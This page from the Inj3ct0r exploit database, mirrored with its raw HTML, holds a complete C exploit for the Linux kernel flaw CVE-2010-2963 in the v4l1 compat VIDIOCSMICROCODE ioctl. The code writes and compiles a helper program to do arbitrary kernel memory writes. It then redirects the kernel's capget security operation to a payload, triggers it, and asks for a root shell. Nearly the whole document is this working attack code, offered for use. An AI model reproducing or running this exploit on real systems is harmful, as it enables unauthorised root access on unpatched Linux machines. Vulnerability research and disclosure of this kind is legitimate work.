Home / os / win7

[dos / poc] - Linux Kernel VIDIOCSMICROCODE IOCTL Local Memo

Posted on 29 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Linux Kernel VIDIOCSMICROCODE IOCTL Local Memory Overwrite | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Linux Kernel VIDIOCSMICROCODE IOCTL Local Memory Overwrite by Kees Cook in dos / poc | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>========================================================== Linux Kernel VIDIOCSMICROCODE IOCTL Local Memory Overwrite ========================================================== /* * CVE-2010-2963 * Arbitrary write memory write via v4l1 compat ioctl. * Kees Cook &lt;kees@ubuntu.com&gt; * * greets to drosenberg, spender, taviso */ #define _GNU_SOURCE #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;stdlib.h&gt; #include &lt;fcntl.h&gt; #include &lt;sys/types.h&gt; #include &quot;exp_framework.h&quot; #include &lt;stdint.h&gt; #include &lt;string.h&gt; #include &lt;poll.h&gt; #include &lt;sys/ioctl.h&gt; #include &lt;sys/ipc.h&gt; #include &lt;sys/msg.h&gt; #include &lt;sys/types.h&gt; #include &lt;linux/videodev.h&gt; #include &lt;syscall.h&gt; #include &lt;sys/capability.h&gt; struct cap_header_t { uint32_t version; int pid; }; #define DEVICE &quot;/dev/video0&quot; struct exploit_state *exp_state; char *desc = &quot;Vyakarana: Linux v4l1 compat ioctl arbitrary memory write&quot;; int requires_null_page = 0; int built = 0; int super_memcpy(unsigned long destination, void *source, int length) { struct video_code vc = { }; struct video_tuner tuner = { }; int dev; unsigned int code; char cmd[80]; if (!built) { FILE *source; char *sourcecode = &quot;/* * CVE-2010-2963: Write kernel memory via v4l compat ioctl. * Oct 11, 2010 Kees Cook &lt;kees@ubuntu.com&gt; * */ #define _GNU_SOURCE #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;stdint.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/stat.h&gt; #include &lt;fcntl.h&gt; #include &lt;string.h&gt; #include &lt;sys/ioctl.h&gt; #include &lt;sys/mman.h&gt; #include &lt;assert.h&gt; #include &lt;malloc.h&gt; #include &lt;sys/types.h&gt; #include &lt;linux/videodev.h&gt; #include &lt;syscall.h&gt; #define DEVICE &quot;/dev/video0&quot; struct video_code32 { char loadwhat[16]; int datasize; int padding; uint64_t data; }; int super_memcpy(uint64_t destination, void *source, int length) { struct video_code32 vc = { }; struct video_tuner tuner = { }; int dev; unsigned int code; if ( (dev=open(DEVICE, O_RDWR)) &lt; 0) { perror(DEVICE); return 1; } vc.datasize = length; vc.data = (uint64_t)(uintptr_t)source; memset(&amp;tuner, 0xBB, sizeof(tuner)); // manual union, since a real union won&#039;t do ptrs for 64bit uint64_t *ptr = (uint64_t*)(&amp;(tuner.name[20])); *ptr = destination; // beat memory into the stack... code = VIDIOCSTUNER; syscall(54, dev, code, &amp;tuner); syscall(54, dev, code, &amp;tuner); syscall(54, dev, code, &amp;tuner); syscall(54, dev, code, &amp;tuner); syscall(54, dev, code, &amp;tuner); syscall(54, dev, code, &amp;tuner); code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn&#039;t this VIDIOCSMICROCODE?) syscall(54, dev, code, &amp;vc); return 0; } int main(int argc, char *argv[]) { uint64_t destination = strtoull(argv[1], NULL, 16); uint64_t value = strtoull(argv[2], NULL, 16); int length = atoi(argv[3]); if (length &gt; sizeof(value)) length = sizeof(value); return super_memcpy(destination, &amp;value, length); } &quot;; if (!(source = fopen(&quot;vyakarana.c&quot;,&quot;w&quot;))) { fprintf(stderr, &quot;cannot write source &quot;); return 1; } fwrite(sourcecode, strlen(sourcecode), 1, source); fclose(source); if (system(&quot;gcc -Wall -m32 vyakarana.c -o vyakarana&quot;) != 0) { fprintf(stderr, &quot;cannot build source &quot;); return 1; } built = 1; } printf(&quot;Writing to %p (len %d): &quot;, (void*)destination, length); for (dev=0; dev&lt;length; dev++) { printf(&quot;0x%02x &quot;, *((unsigned char*)source+dev)); } printf(&quot; &quot;); sprintf(cmd, &quot;./vyakarana %lx %lx 8&quot;, (uint64_t)(uintptr_t)destination, *(uint64_t*)source); return system(cmd); } int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; } unsigned long default_sec; unsigned long target; unsigned long restore; int prepare(unsigned char *buf) { unsigned long addr; if (sizeof(long)!=8) { printf(&quot;Not enough bits &quot;); return 1; } printf(&quot;Reticulating splines... &quot;); addr = exp_state-&gt;get_kernel_sym(&quot;security_ops&quot;); default_sec = exp_state-&gt;get_kernel_sym(&quot;default_security_ops&quot;); restore = exp_state-&gt;get_kernel_sym(&quot;cap_capget&quot;); // reset security_ops super_memcpy(addr, &amp;default_sec, sizeof(void*)); // aim capget to enlightenment payload target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*)); super_memcpy(target, &amp;(exp_state-&gt;own_the_kernel), sizeof(void*)); return 0; } int trigger(void) { struct cap_header_t hdr; uint32_t data[3]; printf(&quot;Skipping school... &quot;); hdr.version = _LINUX_CAPABILITY_VERSION_1; hdr.pid = 1; capget((cap_user_header_t)&amp;hdr, (cap_user_data_t)data); return 1; } int post(void) { printf(&quot;Restoring grammar... &quot;); // restore security op pointer super_memcpy(target, &amp;restore, sizeof(void*)); return RUN_ROOTSHELL; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-29]</pre></body></html>

 

TOP